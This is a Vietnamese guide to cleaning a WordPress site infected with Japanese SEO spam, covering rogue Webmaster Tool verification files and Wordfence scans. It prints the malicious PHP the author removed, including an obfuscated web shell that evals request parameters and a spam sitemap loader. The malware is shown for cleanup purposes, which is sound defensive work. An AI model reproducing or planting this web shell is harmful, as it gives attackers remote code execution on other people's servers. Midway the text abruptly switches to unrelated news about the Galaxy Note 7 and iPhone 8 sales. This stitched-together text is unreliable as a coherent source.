1. Kiểm tra quyền truy cập WMT Webmaster Tool

Website bị nhiễm mã độc và index link tiếng Nhật sử dụng liên kết đến các cửa hàng bán hàng giả mạo và sau đó được hiển thị trong tìm kiếm của Google (Có thể kiểm tra những đường link này theo dạng site:domain). Với loại hack này, hacker thường sẽ tự thêm mình làm chủ sở hữu tài sản trong Google Webmaster Tool (WMT). Vì thế, bước đầu tiên bạn phải xóa quyền sở hữu của tài khoản lạ trong WMT

- Vào đường link sau https://www.google.com/webmasters/verification

- Vào "Chi tiết xác minh" để xem cách "tài khoản lạ" xác minh sở hữu website.

- Sau đó, vào CMS để xóa quyền sở hữu website này. (Trước khi bắt đầu, tạo một bản sao của bất kỳ tệp nào trước khi bạn xóa chúng, trong trường hợp bạn cần khôi phục chúng sau)
+ Mã thông báo xác minh cần xóa thường là tệp HTML trên thư mục gốc của trang web trên CMS.
+ Bạn thường có thể kiểm tra xem đã xoá thành công mã thông báo xác minh được tạo ra bằng cách điều hướng đến tệp token xác minh mô phỏng như thế nào www.example.com/google[random number and letters].html

Ví dụ: Website của mình có một mã xác minh: google-site-verification: google0003f30bc19bd379.html. Trên thanh URL gõ đường dẫn Domain/google0003f30bc19bd379.html. Nếu kết quả là 404 thì bạn đã xóa thành công tài khoản này

- Đi kèm với xác minh chủ sở hữu bằng tệp token, hacker cũng chèn vào một file Sitemapchứa các link độc hại để website index các link này nhanh hơn. Bạn cũng cần xóa file này đi

2. Download Plugin Wordfence Security về để quét toàn bộ site

Đây là cách rất nhanh để xác định các tập tin được hacker rải mã độc vào CMS. Đây là một plug-in về bảo mật miễn phí của WordPress . Sử dụng chức năng "scan" để quét các file. Sau đấy bạn dựa vào đó để sửa từng thư mục. Update các theme, phiên bản WordPress .

Các khối mã cần xóa:

Quét qua các tệp tin đáng ngờ mà bạn đã xác định để tìm các khối mã obfuscated. Mã obfuscated như một sự kết hợp của các chữ cái và chữ số sắp xếp lộn xộn thường được đặt trước bởi sự kết hợp của các hàm PHP như:

base64_decode, rot13, eval, strrev, gzinflate

Một số cấu trúc mình đã xóa:

<>
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = 'mapss259.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
if (isset($_SERVER['REQUEST_URI'])){
$smuri = $_SERVER['REQUEST_URI'];
}else{
if(isset($_SERVER['argv'])){
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
}else{
$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
}
}
return $smuri;
}
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5....");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O....
?>

<>
/**
* @package wordpresss
* @subpackage Template.system
*
* @copyright Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
$p = getcwd();
echo $p;
?>

<>
$uf="aXRvbmd0b";
$ka="ZXZhbCgkX1";
$pjt="JFUVVFU1Rb";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="25nXSk7";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy();
?>

Như ICTnews đã đưa, đầu tháng 11/2016, Samsung công bố sẽ cấm người dùng Galaxy Note 7 tại New Zealand kết nối với sóng của các nhà mạng viễn thông. Thực tế này đồng nghĩa với việc Galaxy Note 7 sẽ trở thành “cục gạch” do không thể gọi điện, nhắn tin, hay truy cập dữ liệu di động (3G, 4G) tại quốc gia nói trên.

Đây được cho là động thái mạnh tay của Samsung nhằm khai tử hoàn toàn Note 7, chiếc phablet rất được kỳ vọng nhưng gặp lỗi cháy nổ liên tục do lỗi sản xuất.

Sau khi thông tin nói trên xuất hiện không lâu, trên mạng xã hội tại Việt Nam đã lan truyền hình ảnh tin nhắn với nội dung được cho là của Samsung Việt Nam: “Vì lý do an toàn, Samsung sẽ kết hợp với nhà mạng viễn thông tại Việt Nam chính thức ngừng cung cấp dịch vụ liên lạc 2 chiều và tin nhắn SMS đối với sản phẩm Galaxy Note 7 từ ngày 1/12/2016. Samsung đề nghị quý khách đang sở hữu Galaxy Note 7 mang sản phẩm đến trả tại Trung tâm CSKH Samsung gần nhất kể từ ngày 18/10 – 18/11 để được hoàn tiền và nhận voucher quà tặng 1.5 triệu đồng. Liên hệ 1800588889 để biết thêm chi tiết. Mong quý khách thông cảm cho sự bất tiện này”.

Chính chủ cửa hàng nói trên thừa nhận rằng dù năm nay độ nóng của iPhone 8, 8 Plus ngang ngửa những năm trước, nhưng dự báo khách hàng chịu chi giá cao để sở hữu sớm smartphone của Apple ngày một giảm đi.

“Chủ yếu do các hệ thống lớn, các cửa hàng lớn đã sớm đưa giá iPhone chính hãng, kèm các chương trình đặt mua trước nên lượng người mua hàng xách tay giảm hẳn", chủ cửa hàng này nói.

“Kèm với đó là việc Apple Store ở Singapore mở bán sớm, nhiều người có điều kiện tiếp cận mua nên không còn khan hàng như trước để đẩy giá lên cao”, anh này nói tiếp.

Sau khi ra mắt vào ngày 12/9, Apple đã cho đặt hàng iPhone 8 ở các quốc gia như Mỹ, Pháp, Trung Quốc, Châu Âu vào ngày 15/9, và bán ra tại các Apple Store vào ngày 22/9.

Ngay sau khi có thông tin về giá bán toàn cầu, các hệ thống lớn tại Việt Nam ngay lập tức tung ra các chương trình đặt mua trước với nhiều quà tặng kèm giá trị. Chỉ xem nhanh ở hai hệ thống lớn Thế Giới Di Động và FPT Shop, đã có hơn 3.000 người đặt mua trước iPhone 8, con số này chắc chắn làm nhiều người chuyên làm hàng xách tay không hài lòng vì mất đi một lượng rất lớn khách hàng.

Chưa kể, như đã nói ở trên, từ ngày 22/9 các Apple Store sẽ mở bán iPhone 8, trong đó có Apple Store mới mở gần đây tại Singapore - chỉ tốn quãng thời gian và giá vé ngang ngửa (có khi rẻ hơn) chặng bay Sài Gòn - Hà Nội, do đó smartphone của Apple chắc chắn về Việt Nam sớm với chi phí giảm hẳn so với trước. Dân buôn hàng xách tay sẽ chỉ có một tháng để buôn bán tấp nập trước khi hàng chính hãng được các hệ thống lớn tung ra.